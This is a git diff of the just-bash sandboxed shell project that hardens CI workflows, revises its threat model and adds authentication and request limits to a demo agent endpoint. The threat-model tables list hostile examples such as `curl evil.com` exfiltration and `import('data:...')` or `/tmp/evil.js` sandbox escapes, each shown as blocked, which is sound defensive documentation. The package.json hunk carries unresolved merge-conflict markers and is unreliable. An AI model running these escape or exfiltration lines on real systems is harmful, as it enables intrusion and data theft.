diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 00000000..3374d507 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: github-actions + directory: / + schedule: + interval: weekly + labels: + - dependencies + - security diff --git a/.github/workflows/comparison-tests.yml b/.github/workflows/comparison-tests.yml index c9103754..b20dc899 100644 --- a/.github/workflows/comparison-tests.yml +++ b/.github/workflows/comparison-tests.yml @@ -6,16 +6,21 @@ on: pull_request: branches: [main] +permissions: + contents: read + jobs: comparison-tests: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + persist-credentials: false - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: "20" cache: "pnpm" diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index f7aedfd8..ad980e8e 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -6,16 +6,21 @@ on: pull_request: branches: [main] +permissions: + contents: read + jobs: lint: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + persist-credentials: false - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: "20" cache: "pnpm" diff --git a/.github/workflows/python-tests.yml b/.github/workflows/python-tests.yml index 9eb4d9b3..1f03e12c 100644 --- a/.github/workflows/python-tests.yml +++ b/.github/workflows/python-tests.yml @@ -6,18 +6,22 @@ on: pull_request: branches: [main] +permissions: + contents: read + jobs: python-tests: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 with: lfs: true + persist-credentials: false - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: "22" cache: "pnpm" diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 62b55192..ce3db8cb 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -34,6 +34,7 @@ jobs: with: fetch-depth: 0 lfs: true + persist-credentials: false - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 @@ -47,6 +48,12 @@ jobs: cache: "pnpm" registry-url: "https://registry.npmjs.org" + # node-liblzma is compiled during install. Keep this in sync with the + # unit-test workflow so the release gate exercises XZ support rather + # than silently installing without a usable native codec. + - name: Install XZ build dependency + run: sudo apt-get update && sudo apt-get install --yes liblzma-dev + - name: Install dependencies run: pnpm install --frozen-lockfile diff --git a/.github/workflows/typecheck.yml b/.github/workflows/typecheck.yml index 9144ae07..867eefb0 100644 --- a/.github/workflows/typecheck.yml +++ b/.github/workflows/typecheck.yml @@ -6,16 +6,21 @@ on: pull_request: branches: [main] +permissions: + contents: read + jobs: typecheck: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + persist-credentials: false - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: "20" cache: "pnpm" diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index 22867a22..58764249 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -6,6 +6,9 @@ on: pull_request: branches: [main] +permissions: + contents: read + jobs: unit-tests: runs-on: ubuntu-latest @@ -14,17 +17,21 @@ jobs: node-version: ["20", "22", "24"] steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 with: lfs: true + persist-credentials: false - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: ${{ matrix.node-version }} cache: "pnpm" + - name: Install XZ build dependency + run: sudo apt-get update && sudo apt-get install --yes liblzma-dev + - name: Install dependencies run: pnpm install --frozen-lockfile diff --git a/THREAT_MODEL.md b/THREAT_MODEL.md index 1c437c83..3581c5dc 100644 --- a/THREAT_MODEL.md +++ b/THREAT_MODEL.md @@ -158,7 +158,7 @@ The following components are **trusted** and outside the scope of just-bash's ru | Proxy constructor | Create intercepting proxies | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` | | WeakRef/FinalizationRegistry | GC observation/side channels | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` | | process.chdir() | Confuse CWD tracking | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` | -| **dynamic import()** | `import('/tmp/evil.js')` | **BLOCKED**: `Module._resolveFilename` blocks file specifiers; ESM loader hooks block `data:`/`blob:` URLs (Node.js 20.6+; see §4.1) | `src/security/defense-in-depth-box.ts` | +| **dynamic import()** | `import('/tmp/evil.js')` | Context-aware loader hooks block builtins and executable URL schemes where supported; other supported runtimes retain best-effort secondary controls (see §4.1) | `src/security/defense-in-depth-box.ts` | | child_process | spawn/exec/fork | Not imported anywhere; no code path from interpreter | Architecture | ### 3.6 Information Disclosure @@ -223,23 +223,23 @@ The following components are **trusted** and outside the scope of just-bash's ru ## 4. Known Gaps & Residual Risks -### 4.1 Dynamic import() Mitigated (Three Layers) +### 4.1 Dynamic import() Defense Varies by Runtime Capability -**Risk**: LOW (comprehensively mitigated on Node.js 20.6+) +**Risk**: Defense-in-depth only; inspect the resolved runtime capability. Dynamic `import()` is a language-level keyword, not a property on any object. It cannot be intercepted by Proxy or defineProperty. However, it CAN be intercepted via Node.js ESM loader hooks. **Attack scenario**: If attacker achieves JS code execution → `import('data:text/javascript,...')` → full escape. -**Mitigations** (three layers): -1. **Module._resolveFilename blocked** — file-based `import()` specifiers (e.g., `import('/tmp/evil.js')`) are intercepted at the CJS module resolution level and blocked -2. **ESM loader hooks** — `module.registerHooks()` (Node.js 23.5+) or `module.register()` (Node.js 20.6+) installs hooks that reject `data:` and `blob:` URL specifiers process-wide. No CLI flags required. -3. **Filesystem restrictions** — OverlayFs writes to memory only, InMemoryFs has no real FS backing, so attacker cannot write .js files to the real filesystem -4. **Architecture** — no code path exists from bash interpretation to JS execution; all paths (Function, eval, setTimeout, constructor chains) are blocked +**Mitigations**: +1. **Context-aware loader hooks** — when `node:module.registerHooks()` is available, builtin and executable URL imports are rejected only from the untrusted async context. +2. **Scoped host controls** — supported runtimes without contextual hooks still apply the reversible best-effort global and CommonJS defenses. +3. **Filesystem restrictions** — OverlayFs writes to memory only, and InMemoryFs has no real filesystem backing. +4. **Architecture** — ordinary shell interpretation does not evaluate JavaScript. The opt-in `js-exec` feature uses a separately hardened worker boundary. -**Residual risk**: On Node.js < 20.6 where `module.register()` is unavailable, `data:` URL imports remain unblockable. For those deployments, use `--experimental-loader` CLI hooks as an additional layer. - -**Note**: The ESM loader hooks are process-wide and permanent (cannot be unregistered). This is an accepted trade-off — `data:` and `blob:` URL imports are essentially never used in production Node.js applications. +Call `DefenseInDepthBox.getInstance().getStatus()` and require `level: "full"` +when contextual dynamic-import protection is a deployment requirement. The +library does not install a permanent process-global deny-all loader. ### 4.2 Pre-Captured References Bypass Defense-in-Depth @@ -295,7 +295,7 @@ When `python: true`, CPython 3.13 Emscripten provides full Python execution via - Disabled by default; must be explicitly enabled via `{ python: true }` - 30-second timeout (`maxPythonTimeoutMs`; configurable) - Fresh Worker thread per execution (EXIT_RUNTIME; no state leakage between runs) -- `WorkerDefenseInDepth` with only 2 exclusions: `shared_array_buffer`, `atomics` +- `WorkerDefenseInDepth` with narrowly documented Emscripten compatibility exclusions; an earlier worker-entry guard blocks the exact dangerous CommonJS builtins before CPython loads - Stdlib shipped as `.pyc`-only zip in MEMFS (no real FS access, no runtime compilation) - 18+ file operations (open, stat, glob, pathlib, shutil, etc.) redirected through `/host` mount - C-level file operations (`_io.open`) also confined by Emscripten VFS (no NODEFS/NODERAWFS) @@ -308,7 +308,7 @@ When `python: true`, CPython 3.13 Emscripten provides full Python execution via - Python's `eval()` and `exec()` execute arbitrary Python (same as bash `eval`; no JS escalation path) - `/lib` (MEMFS stdlib) is writable within a single execution (each execution is fresh) - Symlink targets are readable via `os.readlink()` but not followable outside root -- Python can allocate memory up to WASM limits (mitigated by 30s timeout) +- CPython's WASM linear memory is not reliably contained by Node worker `resourceLimits`. Queue, deadline, bridge, and HOSTFS size controls bound other resources, but strong heap containment requires process/container isolation or a lower-memory CPython WASM build. ### 4.8 Error Message Information Leakage @@ -358,7 +358,7 @@ Heredocs with variable expansion are size-limited (10MB) but nested heredocs wit | 3 | Access process.env | No bash→JS path. If bug: defense-in-depth → throw | **BLOCKED** (arch + secondary) | | 4 | Infinite loop | `while true; do :; done` → maxLoopIterations → throw | **BLOCKED** (limits) | | 5 | Prototype pollution | `arr[__proto__]=evil` → Map/null-prototype → no effect | **BLOCKED** (data guards) | -| 6 | dynamic import() escape | Hypothetical JS exec → `import('data:...')` → ESM hooks block data:/blob: URLs | **BLOCKED** (Node.js 20.6+; residual on older) | +| 6 | dynamic import() escape | Hypothetical JS exec → `import('data:...')` → contextual loader hook | **BLOCKED when status is `level: "full"`; inspect lower levels otherwise** | | 7 | Network exfiltration | `curl evil.com` → network off → curl not registered | **BLOCKED** (network isolation) | | 8 | process.exit() | No bash→JS path. If bug: defense-in-depth → throw | **BLOCKED** (arch + secondary) | | 9 | Brace expansion OOM | `{1..999999999}` → maxBraceExpansionResults → truncated | **BLOCKED** (limits) | @@ -374,13 +374,13 @@ Heredocs with variable expansion are size-limited (10MB) but nested heredocs wit | 20 | performance.now() timing | Sub-ms timing attack → blocked by defense-in-depth | **BLOCKED** (secondary) | | 21 | Prototype pollution via `__defineGetter__` | Inject getter on prototype → blocked by defense-in-depth | **BLOCKED** (secondary) | | 22 | File-based import() | `import('/tmp/evil.js')` → Module._resolveFilename blocked → throw | **BLOCKED** (secondary) | -| 23 | data: URL import() | `import('data:text/javascript,...')` → ESM loader hooks → throw | **BLOCKED** (Node.js 20.6+) | +| 23 | data: URL import() | `import('data:text/javascript,...')` → contextual loader hook → throw | **BLOCKED when status is `level: "full"`; inspect lower levels otherwise** | --- ## 7. Recommendations for Future Hardening -1. ~~**`--experimental-loader` for import() blocking**~~ — **IMPLEMENTED**: ESM loader hooks via `module.register()` (Node.js 20.6+) / `module.registerHooks()` (Node.js 23.5+) block `data:` and `blob:` URL imports process-wide. Combined with `Module._resolveFilename` blocking for file specifiers, `import()` is fully mitigated on Node.js 20.6+. No CLI flags required. +1. **Runtime isolation for host-realm execution** — require `level: "full"` or use a dedicated worker/process when opt-in JavaScript can reach the host realm. 2. ~~**Systematic error message audit**~~ — **IMPLEMENTED**: `sanitizeErrorMessage()` applied at all error choke points; strips OS paths, `node:internal/` paths, and stack traces 3. **Content Security Policy for output** — Consider sanitizing output to prevent XSS when sandbox output is rendered in web contexts 4. **Expand fuzzing corpus** — Add grammar rules for trap, job control (`&`, `fg`, `bg`), and deeply nested heredocs with expansion diff --git a/biome.json b/biome.json index 1086712c..0ed055f2 100644 --- a/biome.json +++ b/biome.json @@ -59,7 +59,8 @@ "!**/*.parsed.json", "!.claude", "!.pnpm-store", - "!.docs-test-tmp", + "!**/.docs-test-tmp", + "!.deepsec/data", "!packages/just-bash/src/commands/python3/worker.js", "!packages/just-bash/src/commands/js-exec/js-exec-worker.js", "!packages/just-bash/src/commands/sqlite3/worker.js", diff --git a/examples/executor-tools/CHANGELOG.md b/examples/executor-tools/CHANGELOG.md index ec279b83..b3e0b81c 100644 --- a/examples/executor-tools/CHANGELOG.md +++ b/examples/executor-tools/CHANGELOG.md @@ -1,5 +1,13 @@ # executor-tools-example +## 1.0.7 + +### Patch Changes + +- Updated dependencies [[`3d39a71`](https://github.com/vercel-labs/just-bash/commit/3d39a714b3751cedc173dffae27933dfe7b8b3b5), [`6df692f`](https://github.com/vercel-labs/just-bash/commit/6df692f236ca108c888552a67557998156ac845b), [`7c4caed`](https://github.com/vercel-labs/just-bash/commit/7c4caedf02599628f19b243f960d480760f5e476)]: + - just-bash@3.2.0 + - @just-bash/executor@3.0.0 + ## 1.0.6 ### Patch Changes diff --git a/examples/executor-tools/package.json b/examples/executor-tools/package.json index d806ef2b..b837b649 100644 --- a/examples/executor-tools/package.json +++ b/examples/executor-tools/package.json @@ -1,6 +1,6 @@ { "name": "executor-tools-example", - "version": "1.0.6", + "version": "1.0.7", "description": "Example of @just-bash/executor — inline tools + GraphQL/OpenAPI/MCP discovery", "type": "module", "scripts": { diff --git a/examples/website/README.md b/examples/website/README.md index 0fe9500c..5e64836f 100644 --- a/examples/website/README.md +++ b/examples/website/README.md @@ -2,6 +2,15 @@ This is an interactive demo of **just-bash** running entirely in your browser, with an AI agent that can explore the source code. +The paid-model `/api/agent` route is disabled by default in production. Set +`JUST_BASH_AGENT_API_TOKEN` and have an authenticated same-origin gateway add +`Authorization: Bearer ` to enable it. Never embed this server token in +browser JavaScript. The route also bounds request history, output tokens, +agent steps, retries, body-read and execution time, per-instance concurrency, +and admission rate. Production deployments should also add distributed provider/edge +per-principal rate and spend limits; an instance-local counter is not a global +quota in a horizontally scaled deployment. + ## Architecture ``` diff --git a/examples/website/app/api/agent/route.ts b/examples/website/app/api/agent/route.ts index 86636b81..8e98a811 100644 --- a/examples/website/app/api/agent/route.ts +++ b/examples/website/app/api/agent/route.ts @@ -1,11 +1,256 @@ import { ToolLoopAgent, createAgentUIStreamResponse, stepCountIs } from "ai"; import { createBashTool } from "bash-tool"; import { Bash, OverlayFs } from "just-bash"; +import { timingSafeEqual } from "node:crypto"; import { dirname, join } from "path"; import { fileURLToPath } from "url"; const __dirname = dirname(fileURLToPath(import.meta.url)); const AGENT_DATA_DIR = join(__dirname, "./_agent-data"); +const MAX_REQUEST_BYTES = 64 * 1024; +const MAX_MESSAGES = 20; +const MAX_MESSAGE_TEXT_BYTES = 48 * 1024; +const MAX_BODY_READ_MS = 15_000; +const MAX_CONCURRENT_REQUESTS = 8; +const MAX_REQUESTS_PER_MINUTE = 120; +let activeRequests = 0; +const recentAdmissions: number[] = []; + +function unauthorized(): Response { + return Response.json({ error: "Unauthorized" }, { status: 401 }); +} + +function authenticate(req: Request): Response | undefined { + const configuredToken = process.env.JUST_BASH_AGENT_API_TOKEN; + if (!configuredToken) { + // The paid-model demo is convenient during local development, but a + // production deployment must opt in with an authentication boundary. + return process.env.NODE_ENV === "production" + ? Response.json( + { error: "Agent endpoint is disabled" }, + { status: 503 }, + ) + : undefined; + } + + const authorization = req.headers.get("authorization"); + if (!authorization?.startsWith("Bearer ")) return unauthorized(); + const supplied = authorization.slice("Bearer ".length); + const suppliedBytes = Buffer.from(supplied); + const configuredBytes = Buffer.from(configuredToken); + if ( + suppliedBytes.byteLength !== configuredBytes.byteLength || + !timingSafeEqual(suppliedBytes, configuredBytes) + ) { + return unauthorized(); + } + return undefined; +} + +function admitRequest(): (() => void) | Response { + const now = Date.now(); + while (recentAdmissions[0] !== undefined && recentAdmissions[0] <= now - 60_000) { + recentAdmissions.shift(); + } + if ( + activeRequests >= MAX_CONCURRENT_REQUESTS || + recentAdmissions.length >= MAX_REQUESTS_PER_MINUTE + ) { + return Response.json( + { error: "Too many requests" }, + { status: 429, headers: { "Retry-After": "60" } }, + ); + } + activeRequests++; + recentAdmissions.push(now); + let released = false; + return () => { + if (released) return; + released = true; + activeRequests--; + }; +} + +function releaseWhenStreamCloses( + response: Response, + release: () => void, +): Response { + if (!response.body) { + release(); + return response; + } + const reader = response.body.getReader(); + const body = new ReadableStream({ + async pull(controller) { + try { + const { done, value } = await reader.read(); + if (done) { + release(); + controller.close(); + } else { + controller.enqueue(value); + } + } catch (error) { + release(); + controller.error(error); + } + }, + async cancel(reason) { + try { + await reader.cancel(reason); + } finally { + release(); + } + }, + }); + return new Response(body, { + status: response.status, + statusText: response.statusText, + headers: response.headers, + }); +} + +async function readBoundedMessages(req: Request): Promise { + const declaredLength = Number(req.headers.get("content-length")); + if (Number.isFinite(declaredLength) && declaredLength > MAX_REQUEST_BYTES) { + throw new RangeError("request body too large"); + } + + const reader = req.body?.getReader(); + if (!reader) throw new TypeError("request body is required"); + const decoder = new TextDecoder(); + let totalBytes = 0; + let json = ""; + let bodyReadTimedOut = false; + const cancelRead = () => void reader.cancel("request cancelled"); + req.signal.addEventListener("abort", cancelRead, { once: true }); + const bodyTimer = setTimeout(() => { + bodyReadTimedOut = true; + void reader.cancel("request body deadline exceeded"); + }, MAX_BODY_READ_MS); + try { + while (true) { + const { done, value } = await reader.read(); + if (done) break; + totalBytes += value.byteLength; + if (totalBytes > MAX_REQUEST_BYTES) { + await reader.cancel(); + throw new RangeError("request body too large"); + } + json += decoder.decode(value, { stream: true }); + } + } finally { + clearTimeout(bodyTimer); + req.signal.removeEventListener("abort", cancelRead); + } + if (bodyReadTimedOut) throw new RangeError("request body deadline exceeded"); + json += decoder.decode(); + + const parsed: unknown = JSON.parse(json); + if ( + typeof parsed !== "object" || + parsed === null || + !("messages" in parsed) || + !Array.isArray(parsed.messages) || + parsed.messages.length === 0 || + parsed.messages.length > MAX_MESSAGES + ) { + throw new TypeError("invalid messages"); + } + + let textBytes = 0; + let structuredNodes = 0; + const chargeString = (value: string): void => { + textBytes += new TextEncoder().encode(value).byteLength; + if (textBytes > MAX_MESSAGE_TEXT_BYTES) { + throw new RangeError("message text too large"); + } + }; + const validateStructuredPart = (root: unknown): void => { + const stack: Array<{ value: unknown; depth: number }> = [ + { value: root, depth: 0 }, + ]; + while (stack.length > 0) { + const entry = stack.pop(); + if (!entry) break; + structuredNodes++; + if (structuredNodes > 1_000 || entry.depth > 8) { + throw new RangeError("message structure too large"); + } + if (typeof entry.value === "string") { + chargeString(entry.value); + } else if (Array.isArray(entry.value)) { + for (const value of entry.value) { + stack.push({ value, depth: entry.depth + 1 }); + } + } else if (typeof entry.value === "object" && entry.value !== null) { + for (const [key, value] of Object.entries(entry.value)) { + if ( + key === "__proto__" || + key === "prototype" || + key === "constructor" + ) { + throw new TypeError("invalid message key"); + } + chargeString(key); + stack.push({ value, depth: entry.depth + 1 }); + } + } else if ( + entry.value !== null && + typeof entry.value !== "boolean" && + typeof entry.value !== "number" + ) { + throw new TypeError("invalid message value"); + } + } + }; + for (const message of parsed.messages) { + if ( + typeof message !== "object" || + message === null || + !("role" in message) || + (message.role !== "user" && message.role !== "assistant") || + !("parts" in message) || + !Array.isArray(message.parts) || + message.parts.length === 0 || + message.parts.length > 20 + ) { + throw new TypeError("invalid message"); + } + for (const part of message.parts) { + if ( + typeof part !== "object" || + part === null || + !("type" in part) || + typeof part.type !== "string" || + part.type.length > 100 + ) { + throw new TypeError("invalid message part"); + } + if (part.type === "text" || part.type === "reasoning") { + if (part.type === "reasoning" && message.role !== "assistant") { + throw new TypeError("invalid reasoning part"); + } + if (!("text" in part) || typeof part.text !== "string") { + throw new TypeError("invalid text part"); + } + chargeString(part.text); + continue; + } + if ( + message.role !== "assistant" || + (part.type !== "dynamic-tool" && + part.type !== "step-start" && + !part.type.startsWith("tool-")) + ) { + throw new TypeError("unsupported message part"); + } + validateStructuredPart(part); + } + } + + return parsed.messages; +} const SYSTEM_INSTRUCTIONS = `You are an expert on just-bash, a TypeScript bash interpreter with an in-memory virtual filesystem. @@ -34,28 +279,47 @@ Use cat to read files. Use head, tail to read parts of large files. Keep responses concise. You do not have access to pnpm, npm, or node.`; export async function POST(req: Request) { - const { messages } = await req.json(); - const lastUserMessage = messages.filter((m: { role: string }) => m.role === "user").pop(); - console.log("Prompt:", lastUserMessage?.parts?.[0]?.text); - const overlayFs = new OverlayFs({ root: AGENT_DATA_DIR, readOnly: true }); - const sandbox = new Bash({ fs: overlayFs, cwd: overlayFs.getMountPoint() }); - const bashToolkit = await createBashTool({ - sandbox, - destination: overlayFs.getMountPoint(), - }); + const authError = authenticate(req); + if (authError) return authError; + const admission = admitRequest(); + if (admission instanceof Response) return admission; - // Create a fresh agent per request for proper streaming - const agent = new ToolLoopAgent({ - model: "claude-haiku-4-5", - instructions: SYSTEM_INSTRUCTIONS, - tools: { - bash: bashToolkit.tools.bash, - }, - stopWhen: stepCountIs(20), - }); + let messages: unknown[]; + try { + messages = await readBoundedMessages(req); + } catch (error) { + admission(); + const status = error instanceof RangeError ? 413 : 400; + return Response.json({ error: "Invalid request" }, { status }); + } + try { + const overlayFs = new OverlayFs({ root: AGENT_DATA_DIR, readOnly: true }); + const sandbox = new Bash({ fs: overlayFs, cwd: overlayFs.getMountPoint() }); + const bashToolkit = await createBashTool({ + sandbox, + destination: overlayFs.getMountPoint(), + }); - return createAgentUIStreamResponse({ - agent, - uiMessages: messages, - }); + // Create a fresh agent per request for proper streaming + const agent = new ToolLoopAgent({ + model: "claude-haiku-4-5", + maxOutputTokens: 2048, + maxRetries: 0, + instructions: SYSTEM_INSTRUCTIONS, + tools: { + bash: bashToolkit.tools.bash, + }, + stopWhen: stepCountIs(8), + }); + + const response = await createAgentUIStreamResponse({ + agent, + uiMessages: messages, + timeout: { totalMs: 30_000, stepMs: 10_000, chunkMs: 10_000 }, + }); + return releaseWhenStreamCloses(response, admission); + } catch (error) { + admission(); + throw error; + } } diff --git a/package.json b/package.json index f3f17a8c..89117cf8 100644 --- a/package.json +++ b/package.json @@ -6,7 +6,7 @@ "build": "pnpm --filter './packages/*' build", "build:worker": "pnpm --filter just-bash build:worker", "typecheck": "pnpm --filter just-bash build && pnpm --filter './packages/*' typecheck", - "lint": "biome check . && pnpm --filter './packages/*' lint:banned", + "lint": "node scripts/check-workflow-security.mjs && biome check . && pnpm --filter './packages/*' lint:banned", "lint:fix": "biome check --write .", "knip": "pnpm --filter './packages/*' knip", "test:run": "pnpm --filter './packages/*' test:run", @@ -17,8 +17,12 @@ "test:dist": "pnpm --filter './packages/*' test:dist", "test:examples": "pnpm --filter cjs-consumer-example typecheck", "check:worker-sync": "pnpm --filter just-bash check:worker-sync", +<<<<<<< HEAD "flowglad:smoke": "node scripts/flowglad-consumability-smoke.mjs", "flowglad:tag": "node scripts/create-flowglad-package-tag.mjs", +======= + "check:deepsec-revalidation": "node scripts/check-deepsec-revalidation.mjs", +>>>>>>> @just-bash/executor@3.0.0 "shell": "pnpm --filter just-bash shell", "dev:exec": "pnpm --filter just-bash dev:exec", "changeset": "changeset", diff --git a/packages/just-bash-executor/CHANGELOG.md b/packages/just-bash-executor/CHANGELOG.md index 3d21e98f..68a8bf00 100644 --- a/packages/just-bash-executor/CHANGELOG.md +++ b/packages/just-bash-executor/CHANGELOG.md @@ -1,5 +1,12 @@ # @just-bash/executor +## 3.0.0 + +### Patch Changes + +- Updated dependencies [[`3d39a71`](https://github.com/vercel-labs/just-bash/commit/3d39a714b3751cedc173dffae27933dfe7b8b3b5), [`6df692f`](https://github.com/vercel-labs/just-bash/commit/6df692f236ca108c888552a67557998156ac845b), [`7c4caed`](https://github.com/vercel-labs/just-bash/commit/7c4caedf02599628f19b243f960d480760f5e476)]: + - just-bash@3.2.0 + ## 2.0.0 ### Patch Changes diff --git a/packages/just-bash-executor/package.json b/packages/just-bash-executor/package.json index c768ec2a..06f6abc8 100644 --- a/packages/just-bash-executor/package.json +++ b/packages/just-bash-executor/package.json @@ -1,6 +1,6 @@ { "name": "@just-bash/executor", - "version": "2.0.0", + "version": "3.0.0", "description": "Experimental tool-invocation companion for just-bash. Wires @executor-js/sdk into js-exec via the invokeTool hook.", "repository": { "type": "git", diff --git a/packages/just-bash/CHANGELOG.md b/packages/just-bash/CHANGELOG.md index 286a794b..75230681 100644 --- a/packages/just-bash/CHANGELOG.md +++ b/packages/just-bash/CHANGELOG.md @@ -1,5 +1,28 @@ # just-bash +## 3.2.0 + +### Minor Changes + +- [#304](https://github.com/vercel-labs/just-bash/pull/304) [`3d39a71`](https://github.com/vercel-labs/just-bash/commit/3d39a714b3751cedc173dffae27933dfe7b8b3b5) Thanks [@subsetpark](https://github.com/subsetpark)! - Add curl `-G`/`--get` query-string data handling and preserve command-line order when repeated `-d`, `--data-raw`, `--data-binary`, and `--data-urlencode` options are mixed, including `@file` forms. Data requests now also set curl's standard `application/x-www-form-urlencoded` content type unless the caller supplies one. + +- [#307](https://github.com/vercel-labs/just-bash/pull/307) [`7c4caed`](https://github.com/vercel-labs/just-bash/commit/7c4caedf02599628f19b243f960d480760f5e476) Thanks [@cramforce](https://github.com/cramforce)! - Harden untrusted execution with shared aggregate budgets, liberal normal and + opt-in hardened limit profiles, request-bound network validation, bounded + archive and worker processing, transactional filesystem and shell state, and + expanded adversarial regression checks. + + Established command declarations and host-extension defaults remain source + compatible. Dispatched callbacks receive a `ResolvedCommandContext` with + required limits; applications can use `createCommandContext({ fs })` for direct + invocation, opt into restricted custom-command execution with `trusted: false`, + and select tighter resource policy with the `hardened` profile. All + host-registration paths keep their established trusted default. The supported + Node.js floor is now declared as `>=20.18.1`. + +### Patch Changes + +- [#315](https://github.com/vercel-labs/just-bash/pull/315) [`6df692f`](https://github.com/vercel-labs/just-bash/commit/6df692f236ca108c888552a67557998156ac845b) Thanks [@matchai](https://github.com/matchai)! - Treat `--` as the end of options in `grep`. + ## 3.1.0 ### Minor Changes diff --git a/packages/just-bash/README.md b/packages/just-bash/README.md index dfb9dbca..471a4c3d 100644 --- a/packages/just-bash/README.md +++ b/packages/just-bash/README.md @@ -51,7 +51,31 @@ await bash.exec("hello Alice"); // "Hello, Alice!\n" await bash.exec("echo 'test' | upper"); // "TEST\n" ``` -Custom commands receive a `CommandContext` with `fs`, `cwd`, `env`, `stdin`, and `exec` (for subcommands), and work with pipes, redirections, and all shell features. +Custom command callbacks receive a `ResolvedCommandContext` with `fs`, `cwd`, +`env`, `stdin`, resolved `limits`, and `exec` (for subcommands), and work with +pipes, redirections, and all shell features. The legacy `CommandContext` remains +available for standalone context inputs; use `createCommandContext({ fs })` when +calling a command directly with a fully resolved context. + +Host-provided commands preserve the legacy trusted default whether supplied to +the `Bash` constructor, declared through `defineCommand`, loaded lazily, or +added later with `bash.registerCommand()`. Set `trusted: false` (or use +`defineCommand(name, execute, { trusted: false })`) to select the restricted +extension boundary. Trusted commands run in the embedding process and should +never execute guest-provided JavaScript. + +Every invocation is bound by `maxExecutionTimeMs`. On cancellation, just-bash +revokes the command context immediately; `maxExtensionCleanupTimeMs` only +bounds how long it waits for the now-authority-free command promise to settle. +A late continuation cannot use `ctx.fs`, `ctx.env`, `ctx.exec`, or other context +capabilities. Cleanup work that must run at scope closure can be registered with +`ctx.executionScope.registerCleanup()`. A cleanup failure is returned as a +generic exit-126 shell result rather than rejecting `Bash.exec()` or exposing +host error details. JavaScript cannot forcibly stop arbitrary host code, so +extensions requiring a hard guarantee against external side effects must run +in a terminable worker or process. Tests that invoke command objects directly +can use `createCommandContext({ fs })` to get a fully resolved context without +duplicating internal defaults.

Supported Commands

@@ -189,13 +213,21 @@ const env = new Bash({ import { Bash } from "just-bash"; import { OverlayFs } from "just-bash/fs/overlay-fs"; -const overlay = new OverlayFs({ root: "/path/to/project" }); +const overlay = new OverlayFs({ + root: "/path/to/project", + // Copy-on-write data is bounded independently from real-file reads. + maxMemoryBytes: 256 * 1024 * 1024, +}); const env = new Bash({ fs: overlay, cwd: overlay.getMountPoint() }); await env.exec("cat package.json"); // reads from disk await env.exec('echo "modified" > package.json'); // stays in memory ``` +`maxMemoryBytes` defaults to 1 GiB and covers aggregate files retained in the +copy-on-write layer, including append chunks. Set it to the deployment's memory +budget when an `OverlayFs` is reused across executions. + **ReadWriteFs** - Direct read-write access to a real directory. Use this if you want the agent to be able to write to your disk: ```typescript @@ -368,7 +400,7 @@ await env.exec('js-exec -c "console.log(API_BASE)"'); `fs.readFileSync()` returns a `Buffer` by default (matching Node.js). Pass an encoding like `'utf8'` to get a string. -**Note:** The `js-exec` command only exists when `javascript` is configured. It is not available in browser environments. Execution runs in a QuickJS WASM sandbox with a 64 MB memory limit and configurable timeout (default: 10s, 60s with network). +**Note:** The `js-exec` command only exists when `javascript` is configured. It is not available in browser environments. Execution runs in a QuickJS WASM sandbox with a 64 MB memory limit and configurable timeout (30 seconds in the default `normal` profile and 10 seconds in the opt-in `hardened` profile). Enabling network access does not extend the configured deadline. #### Tool Invocation Hook @@ -433,7 +465,7 @@ await env.exec('sqlite3 :memory: "SELECT 1 + 1"'); await env.exec('sqlite3 data.db "SELECT * FROM users"'); ``` -**Note:** SQLite is not available in browser environments. Queries run in a worker thread with a configurable timeout (default: 5 seconds) to prevent runaway queries from blocking execution. +**Note:** SQLite is not available in browser environments. Queries run in a worker thread with a configurable timeout (30 seconds in the default `normal` profile and 5 seconds in the opt-in `hardened` profile) to prevent runaway queries from blocking execution. ## AST Transform Plugins @@ -571,25 +603,56 @@ Bash protects against infinite loops and deep recursion with configurable limits ```typescript const env = new Bash({ + // `normal` is the liberal, compatibility-oriented default. Use `hardened` + // for tighter untrusted-workload policy, then override individual resources. + executionLimitProfile: "hardened", executionLimits: { maxCallDepth: 100, // Max function 